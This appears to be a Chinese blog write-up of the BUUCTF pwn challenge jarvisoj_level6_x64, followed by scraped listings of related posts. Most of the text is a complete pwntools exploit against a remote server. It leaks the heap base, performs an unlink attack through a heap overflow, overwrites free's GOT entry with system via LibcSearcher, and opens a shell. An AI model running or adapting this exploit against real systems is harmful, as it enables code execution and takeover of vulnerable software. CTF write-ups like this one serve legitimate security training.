buuctf-pwn:jarvisoj_level6_x64
jarvisoj_level6_x64
只能申请unsorted bin大小下的unlink
IDA看一下,可以发现edit里面有任意堆溢出的情况(realloc造成堆溢出)
然后free里面有UAF漏洞



然后几个注意的点,unlink直接可以模板化
1,泄漏地址 包括libc或者存放heap pointer的地址
2,unlink,伪造谁用谁的指针来unlink
3,修改heap为got指针也可以泄漏libc
exp
1 #coding:utf-8
2 '''
3 author: lemon
4 time:
5 libc:
6 python version:
7 '''
8
9 from pwn import *
10 from LibcSearcher import *
11
12 local = 0
13
14 binary = "./freenote_x64"
15
16 if local == 1:
17 p = process(binary)
18 else:
19 p = remote("node3.buuoj.cn",29231)
20
21 def dbg():
22 context.log_level = 'debug'
23
24 context.terminal = ['tmux','splitw','-h']
25
26 def add(size,content):
27 p.sendlineafter('Your choice:','2')
28 p.sendlineafter('Length of new note: ',str(size))
29 p.sendafter('Enter your note:',content)
30
31 def free(index):
32 p.sendlineafter('Your choice: ','4')
33 p.sendlineafter('Note number: ',str(index))
34
35 def show():
36 p.sendlineafter('Your choice: ','1')
37
38 def edit(index,size,content):
39 p.sendlineafter('Your choice: ','3')
40 p.sendlineafter('Note number: ',str(index))
41 p.sendlineafter('Length of note: ',str(size))
42 p.sendafter('Enter your note: ',content)
43
44 add(0x80,0x80 * 'a') # chunk 0
45 add(0x80,0x80 * 'a') # chunk 1
46 add(0x80,0x80 * 'a') # chunk 2
47 add(0x80,0x80 * 'a') # chunk 3
48 add(0x80,0x80 * 'a') # chunk 4
49
50 edit(4,len("/bin/sh\x00"),"/bin/sh\x00")
51
52 #libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
53
54 print "unlink前先泄漏出堆的基地址"
55
56 free(3)
57 free(1)
58
59 payload = 0x90 * 'a'
60 edit(0,len(payload),payload)
61 show()
62 p.recvuntil(0x90 * 'a')
63 #heap = u64(p.recv(6) + '\x00\x00')
64 heap_0 = u64(p.recvuntil('\x0a',drop = True) + '\x00\x00\x00\x00') - 0x19a0
65 print "[*] heap:",hex(heap_0)
66 heap_4 = heap_0 + 0x1a40
67
68
69 print "unlink"
70
71 fd = heap_0 - 0x18
72 bk = heap_0 - 0x10
73
74 payload = p64(0) + p64(0x80)
75 payload += p64(fd) + p64(bk)
76 payload = payload.ljust(0x80,'\x00')
77 payload += p64(0x80) + p64(0x90)
78 edit(0,len(payload),payload)
79
80 free(1)
81
82 print "leak libc"
83
84 elf = ELF('./freenote_x64')
85 free_got = elf.got['free']
86 print "[*] free:",hex(free_got)
87
88 payload = p64(2) + p64(1) + p64(0x8) + p64(free_got) #chunk0 size改为0x8
89 payload += p64(0) * 9 + p64(1) + p64(8) + p64(heap_4)
90 payload = payload.ljust(0x90,'\x00')
91 edit(0,len(payload),payload)
92 show()
93 free = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
94
95 # libc_base = free - libc.sym['free']
96 # system = libc_base + libc.sym['system']
97
98 libc = LibcSearcher('free',free)
99 libc_base = free - libc.dump('free')
100 system = libc_base + libc.dump('system')
101
102 payload = p64(system)
103 edit(0,len(payload),payload)
104
105 #gdb.attach(p)
106 p.interactive()
buuctf-pwn:jarvisoj_level6_x64的更多相关文章
- [BUUCTF]PWN——babyheap_0ctf_2017
[BUUCTF]PWN--babyheap_0ctf_2017 附件 步骤: 例行检查,64位,保护全开 试运行一下程序,看到这个布局菜单,知道了这是一道堆的题目,第一次接触堆的小伙伴可以去看一下这个 ...
- (buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016
[buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 2 ...
- [BUUCTF]PWN——hitcontraining_uaf
[BUUCTF]--hitcontraining_uaf 附件 步骤: 例行检查,32位,开启了nx保护 试运行一下程序,非常常见的创建堆块的菜单 32位ida载入分析,shift+f12查看程序里的 ...
- BUUCTF PWN部分题目wp
pwn好难啊 PWN 1,连上就有flag的pwnnc buuoj.cn 6000得到flag 2,RIP覆盖一下用ida分析一下,发现已有了system,只需覆盖RIP为fun()的地址,用peda ...
- buuctf --pwn part2
pwn难啊! 1.[OGeek2019]babyrop 先check一下文件,开启了NX 在ida中没有找到system.'/bin/sh'等相关的字符,或许需要ROP绕过(废话,题目提示了) 查看到 ...
- buuctf pwn wp---part1
pwn难啊 1.test_your_nc 测试你nc,不用说,连上就有. 2.rip ida中已经包含了system函数: 溢出,覆盖rip为fun函数,peda计算偏移为23: from pwn i ...
- [BUUCTF]PWN——pwnable_hacknote
pwnable_hacknote 附件 步骤: 例行检查,32位程序,开启了nx和canary保护 本地试运行看一下大概的情况,熟悉的堆的菜单 32位ida载入 add() gdb看一下堆块的布局更方 ...
- [BUUCTF]PWN——ciscn_2019_es_7[详解]
ciscn_2019_es_7 附件 步骤: 例行检查,64位程序,开启了nx保护 本地试运行一下看看大概的情况 64位ida载入,关键函数很简单,两个系统调用,buf存在溢出 看到系统调用和溢出,想 ...
- [BUUCTF]PWN——mrctf2020_easyoverflow
mrctf2020_easyoverflow 附件 步骤: 例行检查,64位程序,保护全开 本地试运行的时候就直接一个输入,然后就没了,直接用64位ida打开 只要满足18行的条件,就能够获取shel ...
- [BUUCTF]PWN——0ctf_2017_babyheap
0ctf_2017_babyheap 附件 步骤: 例行检查,64位程序,保护全开 本地试运行一下,看看大概的情况,经典的堆题的菜单 main函数 add() edit() delete() show ...
随机推荐
- 八皇后问题(n-皇后问题)
JAVA 作为一道经典的题目,那必然要用经典的dfs来做 dfs:深度优先搜索----纵向搜索符合条件的内容,走到底时回到上一个路口再走到底再回去,套娃至结束. 条件:在一个n*n的国际棋盘上摆放n个 ...
- 科普-- 白话HTTPS
HTTPS是传输协议吗? HTTPS与HTTP有什么关系? HTTPS为什么会安全? 闲扯一下 Mac笔记本.Windows台式机.Linux主机.像这三种类型,它们硬件不同,系统不同,服务端处理的编 ...
- Java高级开发必会的50个性能优化的细节(珍藏版)
在JAVA程序中,性能问题的大部分原因并不在于JAVA语言,而是程序本身.养成良好的编码习惯非常重要,能够显著地提升程序性能. ● 1. 尽量在合适的场合使用单例 使用单例可以减轻加载的负担,缩短 ...
- Hive改表结构的两个坑|避坑指南
Hive在大数据中可能是数据工程师使用的最多的组件,常见的数据仓库一般都是基于Hive搭建的,在使用Hive时候,遇到了两个奇怪的现象,今天给大家聊一下,以后遇到此类问题知道如何避坑! 坑一:改变字段 ...
- Mac OS X中Apache开启ssl
升级ios7.1之后用那个企业证书打测试包网页上不能下载,提示Mainfest.plist需要用https,然后就看了下Apache的https的设置,虽然后来还是不行,先略下不表,下文再说,把这个过 ...
- Clover 引导 Windows 及 Linux 双系统
Clover 引导 Windows 及 Linux 双系统UEFI cnblogs @ Orcim 此 文比较详细地介绍了通过修改 Clover 的配置文件,添加 Clover 启动项的方法(添加 ...
- C++ CComboBox控件详解
转载:http://blog.sina.com.cn/s/blog_46d93f190100m395.html C++ CComboBox控件详解 (2010-09-14 14:03:44) 转载▼ ...
- NOI 2012 【迷失游乐园】
这道题,额,反正我是刚了2天,然后就萎了......(是不是觉得我很菜) 题目描述: 放假了,小Z觉得呆在家里特别无聊,于是决定一个人去游乐园玩. 进入游乐园后,小Z看了看游乐园的地图,发现可以将游乐 ...
- ORA-00001: unique constraint (string.string) violated 违反唯一约束条件(.)
ORA-00001: unique constraint (string.string) violated ORA-00001: 违反唯一约束条件(.) Cause: An UPDATE or I ...
- Springboot集成JUnit5优雅进行单元测试
为什么使用JUnit5 JUnit4被广泛使用,但是许多场景下使用起来语法较为繁琐,JUnit5中支持lambda表达式,语法简单且代码不冗余. JUnit5易扩展,包容性强,可以接入其他的测试引擎. ...